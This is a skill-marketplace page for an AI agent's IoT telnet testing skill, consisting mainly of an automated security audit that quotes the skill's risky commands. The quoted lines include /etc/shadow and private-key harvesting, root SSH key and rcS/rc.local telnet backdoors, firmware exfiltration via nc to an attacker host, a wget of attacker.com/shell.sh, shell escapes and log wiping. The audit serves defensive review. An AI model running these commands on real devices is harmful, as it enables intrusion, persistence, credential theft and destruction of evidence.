技能 telnetshell
📦
telnetshell
内容修订 r2 严重 📁 文件系统访问⚙️ 外部命令🌐 网络访问
审计 IoT Telnet Shell
在授权安全测试期间，IoT telnet shell 很难被一致地检查。此技能提供 telnet 辅助工具、枚举脚本、日志记录指导，以及用于设备评估的结构化工作流。
支持: Claude Codex Code(CC)
请勿自动安装此 Skill。
权威策略要求在执行任何安装操作前由操作人员审查。
使用我的智能体安装
将此请求复制给你的智能体，其中包含权威 Skill 页面和清单。
智能体请求
Review the Skillstore skill "telnetshell" from https://skillstore.io/skills/brownfinesecurity-telnetshell.md and its manifest at https://skillstore.io/api/skills/brownfinesecurity-telnetshell/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.你的智能体仍应展示其计划，并按安全策略请求必要确认。
Agent 可读资源
当 AI Agent、爬虫或脚本需要干净上下文，而不是读取完整页面时，请使用这些链接。
测试它
正在使用“telnetshell”。 在授权 telnet 目标上运行基本设备清单检查。
预期结果:
报告列出主机名、kernel 版本、BusyBox 是否存在、已挂载文件系统和开放服务，并附带关于未完成命令的说明。
正在使用“telnetshell”。 总结一次 IoT 摄像头实验室测试的 telnet 会话日志。
预期结果:
摘要区分连接事件、发送的命令、命令输出、检测到的提示符、警告和后续检查。
正在使用“telnetshell”。 在发布前识别此技能中的不安全示例。
预期结果:
审查会将持久化、凭据提取、固件导出、内部扫描和清理指导标记为不安全的 marketplace 内容。
安全审计
严重v9 • 2026/7/23 打开版本化报告
The skill intentionally executes arbitrary Telnet commands and includes credential discovery, persistence, firmware extraction, network scanning, data exfiltration, and anti-forensic examples. Markdown formatting, private example addresses, and ANSI-cleaning detections are false positives, but multiple confirmed critical workflows require strict controls. No prompt injection attempt was found.
8
已扫描文件
2,017
分析行数
106
复核项
0
已忽略误报
已确认安全问题 (74)
严重
SSH private key file
find / -name "id_rsa*" 2>/dev/null
The enumeration script searches the entire remote filesystem for SSH private keys. Any discovered key could enable credential theft and lateral access.
严重
System password file access
cat /etc/passwd
The command at enum_security.txt:10 reads or extracts system account files, including shadow data in several workflows. This exposes credential material and account structure.
严重
System password file access
cat /etc/shadow
The command at enum_security.txt:14 reads or extracts system account files, including shadow data in several workflows. This exposes credential material and account structure.
严重
Sudoers file access
cat /etc/sudoers 2>/dev/null
The command at enum_security.txt:54 reads the target's sudoers configuration during privilege-escalation enumeration. This exposes privileged command policy and escalation paths.
严重
SSH directory access
echo "$YOUR_KEY" >> /root/.ssh/authorized_keys
The command at examples.md:262 changes root SSH authorization state or reads it during a persistence example. This can establish durable privileged access.
严重
SSH directory access
chmod 600 /root/.ssh/authorized_keys
The command at examples.md:264 changes root SSH authorization state or reads it during a persistence example. This can establish durable privileged access.
严重
SSH directory access
cat /root/.ssh/authorized_keys
The command at examples.md:265 changes root SSH authorization state or reads it during a persistence example. This can establish durable privileged access.
严重
Malware type keywords
# Add backdoor to startup
The content at examples.md:272 is part of a workflow that installs a backdoor in a startup script. It establishes unauthorized persistent shell access.
显示全部 74 条已确认问题
严重
Malware type keywords
cat > add_backdoor.txt <<'EOF'
The content at examples.md:273 is part of a workflow that installs a backdoor in a startup script. It establishes unauthorized persistent shell access.
严重
Malware type keywords
--script add_backdoor.txt
The content at examples.md:281 is part of a workflow that installs a backdoor in a startup script. It establishes unauthorized persistent shell access.
严重
System password file access
$HELPER --host "$DEVICE" --port "$PORT" --command "cat /etc/passwd"
The command at examples.md:142 reads or extracts system account files, including shadow data in several workflows. This exposes credential material and account structure.
严重
System password file access
"/etc/passwd"
The command at examples.md:328 reads or extracts system account files, including shadow data in several workflows. This exposes credential material and account structure.
严重
System password file access
"/etc/shadow"
The command at examples.md:329 reads or extracts system account files, including shadow data in several workflows. This exposes credential material and account structure.
严重
Shell history clearing
history -c
The cleanup script clears shell history specifically after post-exploitation activity. This removes evidence and impedes incident investigation.
严重
Log file deletion
rm -f /var/log/*
The example deletes all files under /var/log as part of removing traces. This is explicit anti-forensic behavior that destroys audit evidence.
严重
SSH directory access
echo "your_ssh_public_key" >> /root/.ssh/authorized_keys
The command at SKILL.md:371 changes root SSH authorization state or reads it during a persistence example. This can establish durable privileged access.
严重
SSH directory access
chmod 600 /root/.ssh/authorized_keys
The command at SKILL.md:372 changes root SSH authorization state or reads it during a persistence example. This can establish durable privileged access.
严重
Malware type keywords
echo "/path/to/backdoor &" >> /etc/rc.local
The content at SKILL.md:383 is part of a workflow that installs a backdoor in a startup script. It establishes unauthorized persistent shell access.
严重
System password file access
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "cat /etc/passwd"
The command at SKILL.md:171 reads or extracts system account files, including shadow data in several workflows. This exposes credential material and account structure.
严重
System password file access
cat /etc/passwd
The command at SKILL.md:295 reads or extracts system account files, including shadow data in several workflows. This exposes credential material and account structure.
严重
System password file access
cat /etc/shadow # If readable - major security issue!
The command at SKILL.md:296 reads or extracts system account files, including shadow data in several workflows. This exposes credential material and account structure.
严重
System password file access
less /etc/passwd # Then !/bin/sh
The command at SKILL.md:442 reads or extracts system account files, including shadow data in several workflows. This exposes credential material and account structure.
严重
Sudoers file access
cat /etc/sudoers
The command at SKILL.md:301 reads the target's sudoers configuration during privilege-escalation enumeration. This exposes privileged command policy and escalation paths.
严重
Explicit Sensitive Data Exfiltration Workflow
The guide labels a workflow Data Exfiltration and automates copying password files, network configuration, and databases from a target.
The heading and commands explicitly describe extraction, including /etc/shadow and discovered databases. The intent is direct and not inferred from keywords alone.
高
SSH host/auth files
find / -name "authorized_keys" 2>/dev/null
The command at enum_security.txt:41 searches, modifies, or reads SSH authorization files. These operations expose or alter trusted access configuration.
高
Certificate/key files
find / -name "*.key" 2>/dev/null
The command at enum_security.txt:38 searches the remote target for certificate or private-key files. This can expose authentication material during post-access enumeration.
高
Certificate/key files
find / -name "*.pem" 2>/dev/null
The command at enum_security.txt:39 searches the remote target for certificate or private-key files. This can expose authentication material during post-access enumeration.
高
SSH host/auth files
echo "$YOUR_KEY" >> /root/.ssh/authorized_keys
The command at examples.md:262 searches, modifies, or reads SSH authorization files. These operations expose or alter trusted access configuration.
高
SSH host/auth files
chmod 600 /root/.ssh/authorized_keys
The command at examples.md:264 searches, modifies, or reads SSH authorization files. These operations expose or alter trusted access configuration.
高
SSH host/auth files
cat /root/.ssh/authorized_keys
The command at examples.md:265 searches, modifies, or reads SSH authorization files. These operations expose or alter trusted access configuration.
高
Certificate/key files
find / -name "*.key" 2>/dev/null
The command at examples.md:178 searches the remote target for certificate or private-key files. This can expose authentication material during post-access enumeration.
高
Certificate/key files
find / -name "*.pem" 2>/dev/null
The command at examples.md:179 searches the remote target for certificate or private-key files. This can expose authentication material during post-access enumeration.
高
SQLite database file
--command "find / -name '*.db' -o -name '*.sqlite' 2>/dev/null" | \
The command finds database files and feeds their paths into a subsequent extraction loop. This can copy application data from the target without data minimization.
高
SSH host/auth files
echo "your_ssh_public_key" >> /root/.ssh/authorized_keys
The command at SKILL.md:371 searches, modifies, or reads SSH authorization files. These operations expose or alter trusted access configuration.
高
SSH host/auth files
chmod 600 /root/.ssh/authorized_keys
The command at SKILL.md:372 searches, modifies, or reads SSH authorization files. These operations expose or alter trusted access configuration.
高
Certificate/key files
find / -name "*.pem" 2>/dev/null
The command at SKILL.md:327 searches the remote target for certificate or private-key files. This can expose authentication material during post-access enumeration.
高
Certificate/key files
find / -name "*.key" 2>/dev/null
The command at SKILL.md:328 searches the remote target for certificate or private-key files. This can expose authentication material during post-access enumeration.
高
Default Credential Guessing Guidance
The skill instructs users to try common default root and administrator credentials when a password prompt appears.
The listed username and password pairs are explicit credential guesses. Authorization is mentioned elsewhere but is not enforced before these instructions.
高
Pivoted Internal Network Scanning
The example uses the accessed device to sweep its local subnet, expanding discovery beyond the original Telnet target.
The heading says Network Scanning from Device and the loop probes 254 local addresses. This is clear lateral reconnaissance intent.
低
System reconnaissance
cat /proc/sys/kernel/hostname
The command at enum_files.txt:41 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
低
Network reconnaissance
ifconfig -a
The command at enum_network.txt:5 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
低
Network reconnaissance
netstat -tulpn
The command at enum_network.txt:17 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
低
Network reconnaissance
netstat -an
The command at enum_network.txt:18 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
低
Network reconnaissance
netstat -s
The command at enum_network.txt:32 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
低
System reconnaissance
id
The command at enum_security.txt:5 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
低
System reconnaissance
whoami
The command at enum_security.txt:6 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
低
System reconnaissance
find / -user `whoami` 2>/dev/null
The command at enum_security.txt:32 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
低
System reconnaissance
uname -a
The command at enum_system.txt:5 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
低
System reconnaissance
hostname
The command at enum_system.txt:7 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
低
System reconnaissance
--command "uname -a"
The command at examples.md:27 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
低
System reconnaissance
hostname
The command at examples.md:48 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
低
System reconnaissance
uname -a
The command at examples.md:49 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
低
System reconnaissance
$HELPER --host "$DEVICE" --port "$PORT" --command "uname -a"
The command at examples.md:125 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
低
Network reconnaissance
$HELPER --host "$DEVICE" --port "$PORT" --command "ifconfig | grep -E '(inet|ether)'"
The command at examples.md:130 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
低
Network reconnaissance
$HELPER --host "$DEVICE" --port "$PORT" --command "netstat -tulpn"
The command at examples.md:138 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
低
Network reconnaissance
--command "netstat -tulpn" --json | \
The command at examples.md:295 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
低
System reconnaissance
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --command "uname -a"
The command at SKILL.md:47 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
低
System reconnaissance
echo -e "uname -a\ncat /proc/version\nifconfig\nps" > commands.txt
The command at SKILL.md:68 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
低
System reconnaissance
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --command "uname -a" --json
The command at SKILL.md:74 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
低
System reconnaissance
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "uname -a"
The command at SKILL.md:150 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
低
System reconnaissance
uname -a
The command at SKILL.md:259 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
低
System reconnaissance
hostname
The command at SKILL.md:270 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
低
System reconnaissance
cat /etc/hostname
The command at SKILL.md:271 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
低
System reconnaissance
id
The command at SKILL.md:290 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
低
System reconnaissance
whoami
The command at SKILL.md:291 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
低
System reconnaissance
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --command "uname -a"
The command at SKILL.md:509 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
低
Network reconnaissance
echo -e "uname -a\ncat /proc/version\nifconfig\nps" > commands.txt
The command at SKILL.md:68 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
低
Network reconnaissance
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "ifconfig"
The command at SKILL.md:158 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
低
Network reconnaissance
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "netstat -tulpn"
The command at SKILL.md:160 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
低
Network reconnaissance
ifconfig -a
The command at SKILL.md:272 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
低
Network reconnaissance
netstat -tulpn
The command at SKILL.md:307 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
低
Network reconnaissance
- [ ] Check for unauthenticated access
The command at SKILL.md:450 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
低
System reconnaissance
%(prog)s --host 192.168.1.100 --command "uname -a"
The command at telnet_helper.py:347 collects identity, kernel, host, or user context from a remote shell. This is intentional target reconnaissance.
低
Network reconnaissance
%(prog)s --host 192.168.1.100 --command "ifconfig" --json
The command at telnet_helper.py:365 enumerates interfaces, routes, connections, listeners, or access state on a remote device. This reveals network topology and services.
能力复核项 (106)
这些是真实的本地能力，对此技能可能是预期行为，因此需要复核，但不会按已确认恶意行为计分。
严重
Shell command substitution
--command "cat $file" > "./extracted$(echo $file | tr '/' '_')"
The substitution at examples.md:340 participates in bulk extraction of target files. Remote-derived filenames can also alter generated commands or local output paths.
严重
Shell command substitution
--command "cat $dbfile" > "./$(basename $dbfile)"
The substitution at examples.md:358 participates in bulk extraction of target files. Remote-derived filenames can also alter generated commands or local output paths.
严重
Unix shell invocation
echo "telnetd -l /bin/sh -p 9999 &" >> /etc/init.d/rcS
This command adds an unauthenticated /bin/sh Telnet service to device startup. It creates a persistent backdoor.
严重
Hidden file access
mkdir -p /root/.ssh
The command at examples.md:261 creates, modifies, or reads root SSH authorization files. In this persistence workflow, that grants or verifies durable privileged access.
严重
Hidden file access
echo "$YOUR_KEY" >> /root/.ssh/authorized_keys
The command at examples.md:262 creates, modifies, or reads root SSH authorization files. In this persistence workflow, that grants or verifies durable privileged access.
严重
Hidden file access
chmod 700 /root/.ssh
The command at examples.md:263 creates, modifies, or reads root SSH authorization files. In this persistence workflow, that grants or verifies durable privileged access.
严重
Hidden file access
chmod 600 /root/.ssh/authorized_keys
The command at examples.md:264 creates, modifies, or reads root SSH authorization files. In this persistence workflow, that grants or verifies durable privileged access.
严重
Hidden file access
cat /root/.ssh/authorized_keys
The command at examples.md:265 creates, modifies, or reads root SSH authorization files. In this persistence workflow, that grants or verifies durable privileged access.
严重
Non-standard device file access
--command "dd if=/dev/mtd2 | nc 192.168.1.50 4444"
The command at examples.md:231 reads raw MTD flash device data for firmware extraction. Raw partition copying can expose complete firmware and embedded secrets.
严重
Temp directory access
rm -f /tmp/*
The cleanup workflow deletes every entry under /tmp. This can destroy unrelated data and removes artifacts after post-exploitation.
严重
Ruby/PHP system() call
awk 'BEGIN {system("/bin/sh")}'
This is an executable awk system call that launches /bin/sh as a limited-shell escape. It is not an inert language example.
严重
Unix shell invocation
/bin/sh
The command at SKILL.md:439 launches a shell through a limited-shell escape technique. This bypasses the intended command interface.
严重
Unix shell invocation
/bin/bash
The command at SKILL.md:440 launches a shell through a limited-shell escape technique. This bypasses the intended command interface.
严重
Unix shell invocation
vi # Then :!/bin/sh
The command at SKILL.md:441 launches a shell through a limited-shell escape technique. This bypasses the intended command interface.
严重
Unix shell invocation
less /etc/passwd # Then !/bin/sh
The command at SKILL.md:442 launches a shell through a limited-shell escape technique. This bypasses the intended command interface.
严重
Unix shell invocation
find / -exec /bin/sh \;
The command at SKILL.md:443 launches a shell through a limited-shell escape technique. This bypasses the intended command interface.
严重
Unix shell invocation
awk 'BEGIN {system("/bin/sh")}'
The command at SKILL.md:444 launches a shell through a limited-shell escape technique. This bypasses the intended command interface.
严重
Hidden file access
mkdir -p /root/.ssh
The command at SKILL.md:370 creates, modifies, or reads root SSH authorization files. In this persistence workflow, that grants or verifies durable privileged access.
严重
Hidden file access
echo "your_ssh_public_key" >> /root/.ssh/authorized_keys
The command at SKILL.md:371 creates, modifies, or reads root SSH authorization files. In this persistence workflow, that grants or verifies durable privileged access.
严重
Hidden file access
chmod 600 /root/.ssh/authorized_keys
The command at SKILL.md:372 creates, modifies, or reads root SSH authorization files. In this persistence workflow, that grants or verifies durable privileged access.
严重
Hidden file access
chmod 700 /root/.ssh
The command at SKILL.md:373 creates, modifies, or reads root SSH authorization files. In this persistence workflow, that grants or verifies durable privileged access.
严重
Non-standard device file access
dd if=/dev/mtd0 of=/tmp/bootloader.bin
The command at SKILL.md:395 reads raw MTD flash device data for firmware extraction. Raw partition copying can expose complete firmware and embedded secrets.
严重
Non-standard device file access
dd if=/dev/mtd1 of=/tmp/kernel.bin
The command at SKILL.md:396 reads raw MTD flash device data for firmware extraction. Raw partition copying can expose complete firmware and embedded secrets.
严重
Non-standard device file access
dd if=/dev/mtd2 of=/tmp/rootfs.bin
The command at SKILL.md:397 reads raw MTD flash device data for firmware extraction. Raw partition copying can expose complete firmware and embedded secrets.
严重
Temp directory access
dd if=/dev/mtd0 of=/tmp/bootloader.bin
The command at SKILL.md:395 stages or transfers raw firmware through /tmp. This exposes sensitive device images and uses a shared directory for extraction.
严重
Temp directory access
dd if=/dev/mtd1 of=/tmp/kernel.bin
The command at SKILL.md:396 stages or transfers raw firmware through /tmp. This exposes sensitive device images and uses a shared directory for extraction.
严重
Temp directory access
dd if=/dev/mtd2 of=/tmp/rootfs.bin
The command at SKILL.md:397 stages or transfers raw firmware through /tmp. This exposes sensitive device images and uses a shared directory for extraction.
严重
Temp directory access
nc attacker_ip 4444 < /tmp/rootfs.bin
The command at SKILL.md:401 stages or transfers raw firmware through /tmp. This exposes sensitive device images and uses a shared directory for extraction.
高
Linux /proc filesystem access
cat /proc/sys/kernel/hostname
The command at enum_files.txt:41 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
cat /proc/sys/kernel/version
The command at enum_files.txt:42 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
cat /proc/net/dev
The command at enum_network.txt:6 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
cat /proc/net/route
The command at enum_network.txt:10 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
cat /proc/net/arp
The command at enum_network.txt:22 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
cat /proc/net/wireless
The command at enum_network.txt:26 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
cat /proc/net/snmp
The command at enum_network.txt:33 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
sudo privilege escalation
sudo -l
The command at enum_security.txt:53 enumerates allowed sudo operations on the target. In context, it is used to identify privilege-escalation paths.
高
Linux /proc filesystem access
cat /proc/version
The command at enum_system.txt:6 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
cat /proc/cpuinfo
The command at enum_system.txt:10 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
cat /proc/meminfo
The command at enum_system.txt:11 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
cat /proc/loadavg
The command at enum_system.txt:16 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
cat /proc/modules
The command at enum_system.txt:28 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
cat /proc/mounts
The command at enum_system.txt:32 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
cat /proc/partitions
The command at enum_system.txt:36 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
cat /proc/mtd
The command at enum_system.txt:37 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
cat /proc/cmdline
The command at enum_system.txt:40 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Shell command substitution
for i in $(seq 1 254); do ping -c 1 -W 1 192.168.1.$i && echo "Host 192.168.1.$i is up"; done
The substitution drives a 254-host ping sweep from the compromised device. It actively maps neighboring systems and can extend intrusion scope.
高
Unix shell invocation
#!/bin/bash
The shebang at examples.md:111 makes a documented automation script executable. That script runs broad remote enumeration and sensitive collection commands.
高
Unix shell invocation
#!/bin/bash
The shebang at examples.md:399 makes a documented automation script executable. That script runs broad remote enumeration and sensitive collection commands.
高
Linux /proc filesystem access
cat /proc/version
The command at examples.md:50 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
$HELPER --host "$DEVICE" --port "$PORT" --command "cat /proc/cpuinfo | grep -E '(model|Hardware|Revi
The command at examples.md:126 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
--command "cat /proc/mtd"
The command at examples.md:211 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
$HELPER --host "$DEVICE" --port "$PORT" --command "cat /proc/mtd" > "$REPORT_DIR/07_mtd_partitions.t
The command at examples.md:429 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
$HELPER --host "$DEVICE" --port "$PORT" --command "cat /proc/partitions" > "$REPORT_DIR/08_partition
The command at examples.md:430 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Temp directory access
--logfile /tmp/manual_session.log \
The skill uses a predictable shared /tmp path for complete Telnet transcripts at examples.md:373. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
# tail -f /tmp/manual_session.log
The skill uses a predictable shared /tmp path for complete Telnet transcripts at examples.md:377. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
- Review session logs in `/tmp/telnet_session.log`
The skill uses a predictable shared /tmp path for complete Telnet transcripts at examples.md:527. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
By default, the telnet helper script logs all I/O to `/tmp/telnet_session.log`. This happens automat
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:16. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
tail -f /tmp/telnet_session.log
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:22. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
--logfile /tmp/my_session.log \
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:36. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
tail -f /tmp/my_session.log
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:40. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
tail -f /tmp/telnet_session.log
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:61. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
tail -f /tmp/telnet_session.log
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:85. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
tail -f /tmp/telnet_session.log
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:106. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
tail -f /tmp/telnet_session.log | grep -E '^(/\s*#|[#\$])'
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:159. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
tail -f /tmp/telnet_session.log | grep -i error
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:162. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
tail -f /tmp/telnet_session.log | grep -i password
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:165. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
tail -f /tmp/telnet_session.log | ccze -A
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:172. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
tail -f /tmp/telnet_session.log | colordiff
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:175. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
LOGFILE="/tmp/telnet_${TIMESTAMP}.log"
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:183. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
--logfile /tmp/device1.log \
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:203. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
--logfile /tmp/device2.log \
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:209. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
tail -f /tmp/device1.log /tmp/device2.log
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:213. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
tail -f /tmp/telnet_session.log > /tmp/session_archive_$(date +%Y%m%d_%H%M%S).log &
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:222. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
/tmp/telnet_session.log {
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:226. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
- Check if the logfile exists: `ls -la /tmp/telnet_session.log`
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:246. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
- Clear the log periodically: `> /tmp/telnet_session.log`
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:257. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
LOGFILE="/tmp/camera_$(date +%Y%m%d_%H%M%S).log"
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:270. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
tail -f /tmp/telnet_session.log
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:279. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
1. Claude will ALWAYS specify `--logfile /tmp/telnet_session.log` (or custom path)
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:294. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
2. You can monitor by running `tail -f /tmp/telnet_session.log` in another terminal
The skill uses a predictable shared /tmp path for complete Telnet transcripts at OBSERVING_SESSIONS.md:295. Logs can contain commands, responses, credentials, and sensitive target data.
高
sudo privilege escalation
sudo -l
The command at SKILL.md:300 enumerates allowed sudo operations on the target. In context, it is used to identify privilege-escalation paths.
高
Hardcoded URL
wget http://attacker.com/shell.sh
This example instructs the target to download a shell script from an attacker-controlled HTTP location. That enables unverified payload delivery over plaintext.
高
Linux /proc filesystem access
echo -e "uname -a\ncat /proc/version\nifconfig\nps" > commands.txt
The command at SKILL.md:68 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "cat /proc/version"
The command at SKILL.md:151 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "cat /proc/cpuinfo"
The command at SKILL.md:152 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
cat /proc/version
The command at SKILL.md:260 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
cat /proc/cpuinfo
The command at SKILL.md:261 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
cat /proc/meminfo
The command at SKILL.md:262 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
cat /proc/mounts
The command at SKILL.md:278 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
cat /proc/mtd
The command at SKILL.md:391 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Linux /proc filesystem access
cat /proc/partitions
The command at SKILL.md:392 reads live kernel, process, storage, or network metadata from the remote target. This is intentional system reconnaissance.
高
Temp directory access
**ALL commands run by Claude will be logged to `/tmp/telnet_session.log` by default.**
The skill uses a predictable shared /tmp path for complete Telnet transcripts at SKILL.md:22. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
tail -f /tmp/telnet_session.log
The skill uses a predictable shared /tmp path for complete Telnet transcripts at SKILL.md:27. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
- **Session logging**: All I/O logged to `/tmp/telnet_session.log` for observation
